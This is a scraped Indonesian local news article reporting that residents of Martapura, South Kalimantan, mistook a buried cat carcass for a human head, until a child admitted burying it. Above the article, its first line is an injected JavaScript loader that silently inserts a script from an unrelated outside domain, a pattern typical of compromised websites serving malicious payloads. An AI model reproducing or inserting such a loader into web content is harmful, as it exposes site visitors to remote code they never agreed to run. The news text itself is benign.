(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Warga Martapura Heboh Temuan Dikira Kepala Orang, Ternyata Jasad Kucing!

KANALKALIMANTAN.COM, MARTAPURA – Warga Martapura digegerkan temuan jasad yang diduga terkubur di dalam tanah sekitar permukiman warga di Jalan Belahan, Pasayangan, Kecamatan Martapura, Kabupaten Banjar, Jumat (17/2/2023) sore.

Sekilas di dalam tanah lumpur tersebut nampak seperti kulit kepala dan rambut seorang manusia yang terkubur. Warga pun berbondong-bondong mendatangi lokasi kejadian untuk memastikan kebenarannya.

Bahkan, warga juga sempat melaporkan kejadian ini kepada relawan setempat.

Sementara sejumlah relawan dari PMI, Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar, hingga Emergency Banjar Response (EBR) pun ikut turun ke lokasi kejadian.

Namun, tak disangka setelah relawan melakukan pengecekan, ditemukan fakta bahwa jasad yang terkubur itu ialah jasad seekor kucing.

Kebenaran itu disampaikan langsung oleh Duddin, salah seorang relawan EBR, yang bersama para relawan lain telah memeriksa jasad tersebut.

“Ya bukan jasad manusia, tetapi itu seekor kucing yang sudah mati ditanam oleh warga sekitar,” ungkap Duddin, salah seorang relawan Emergency Banjar Respon (EBR), Jumat (17/2/2023) sore.

Ternyata kejadian tersebut didapati pertama kali oleh seorang saksi yang sebelumnya melihat dugaan jasad yang terkubur itu dibongkar oleh seekor biawak.

Saat saksi mencoba memburu biawak tersebut barulah saksi melihat ada yang menonjol di dalam tanah tersebut. Di mana yang nampak pertama kali ialah kepala yang memiliki rambut. Bahkan bau bangkai pun juga ikut tercium di sekitarnya.

“Yang akhirnya membuat warga percaya jika itu mayat manusia karena memiliki rambut dan kepala seperti manusia,” imbuhnya

Kemudian saat para relawan berdatangan, Duddin pun menanyakan kepada warga apakah warga memang pernah menanam seekor binatang di sekitar lokasi itu.

“Kata warga pun sebelumnya tidak ada menanam binatang, hingga akhirnya ada seorang anak datang yang mengaku bahwa ada temannya yang pernah menanam bersama dirinya,” tuntasnya.

Duddin juga menanyakan kepada anak tersebut, dan benar bahwa ia mengakui jika jasad yang terkubur itu ialah kucing mati yang ia tanam dengan temannya. (kanalkalimantan.com/wanda)

Reporter: wanda
Editor: cell